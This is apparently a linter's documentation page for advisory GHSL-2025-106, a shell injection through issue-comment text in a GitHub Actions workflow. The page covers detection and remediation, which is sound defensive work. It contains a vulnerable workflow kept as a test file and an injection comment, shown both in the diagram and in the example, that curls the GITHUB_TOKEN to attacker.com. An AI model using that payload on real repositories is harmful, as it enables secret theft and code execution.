GHSL-2025-106: Code Injection via Comment Body #
Summary #
| Item | Value |
|---|---|
| Advisory ID | GHSL-2025-106 |
| Severity | Critical |
| Affected Component | esphome/esphome-docs |
| CVE | N/A |
| CWE | CWE-78 (OS Command Injection) |
| Reference | https://securitylab.github.com/advisories/GHSL-2025-106_esphome_esphome-docs/ |
Vulnerability Description #
GHSL-2025-106 is a code injection vulnerability in the component-image.yml workflow. The vulnerability occurs when the comment body is directly assigned to a shell variable without sanitization in an issue_comment triggered workflow.
Attack Vector #
sequenceDiagram
participant Attacker
participant Issue
participant Workflow
participant Cache
Attacker->>Issue: Post comment with malicious payload
Note right of Attacker: /generate-image"; curl attacker.com?t=$GITHUB_TOKEN; echo "
Issue->>Workflow: Trigger issue_comment event
Workflow->>Workflow: comment="${{ comment.body }}"
Note right of Workflow: Shell interprets injected commands
Workflow->>Cache: Potential cache poisoning
Workflow-->>Attacker: Code execution achieved
Vulnerable Code Pattern #
name: Component Image (Vulnerable)
on:
issue_comment:
types: [created]
permissions:
pull-requests: write
jobs:
generate-image:
if: contains(github.event.comment.body, '/generate-image')
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# VULNERABLE: Comment body directly assigned to shell variable
- name: Parse comment
run: |
comment="${{ github.event.comment.body }}"
echo "Processing: $comment"
- name: Generate image
run: |
python generate_image.py
Exploitation Example #
Comment content:
/generate-image"; curl https://attacker.com/steal?token=$GITHUB_TOKEN; echo "
Resulting shell command:
comment="/generate-image"; curl https://attacker.com/steal?token=$GITHUB_TOKEN; echo ""
echo "Processing: $comment"
sisakulint Detection #
sisakulint detects this vulnerability with the code-injection-critical rule:
script/actions/ghsl/ghsl-2025-106.yaml:25:23: code injection (critical):
"github.event.comment.body" is potentially untrusted and used in a workflow
with privileged triggers. Avoid using it directly in inline scripts. Instead,
pass it through an environment variable. [code-injection-critical]
Why issue_comment is Dangerous #
The issue_comment trigger creates a direct attack surface:
| Risk Factor | Description |
|---|---|
| Open Access | Anyone who can view an issue can comment |
| Full Permissions | Workflow runs with repository permissions |
| Secret Access | Configured secrets are available |
| No Sandboxing | Unlike pull_request, no fork isolation |
Remediation #
Option 1: Use Environment Variables (Recommended) #
- name: Parse comment
env:
COMMENT_BODY: ${{ github.event.comment.body }}
run: |
echo "Processing: $COMMENT_BODY"
Option 2: Restrict to Trusted Users #
jobs:
generate-image:
if: |
contains(github.event.comment.body, '/generate-image') &&
(github.event.comment.author_association == 'OWNER' ||
github.event.comment.author_association == 'MEMBER' ||
github.event.comment.author_association == 'COLLABORATOR')
Option 3: Use GitHub Script #
- uses: actions/github-script@v7
env:
COMMENT_BODY: ${{ github.event.comment.body }}
with:
script: |
const comment = process.env.COMMENT_BODY;
console.log(`Processing: ${comment}`);
Auto-Fix Support #
sisakulint provides auto-fix for this vulnerability:
sisakulint -fix on script/actions/ghsl/ghsl-2025-106.yaml
The auto-fix will:
- Create an environment variable
COMMENT_BODY - Replace direct interpolation with
$COMMENT_BODY
Test Files #
- Vulnerable pattern:
script/actions/ghsl/ghsl-2025-106.yaml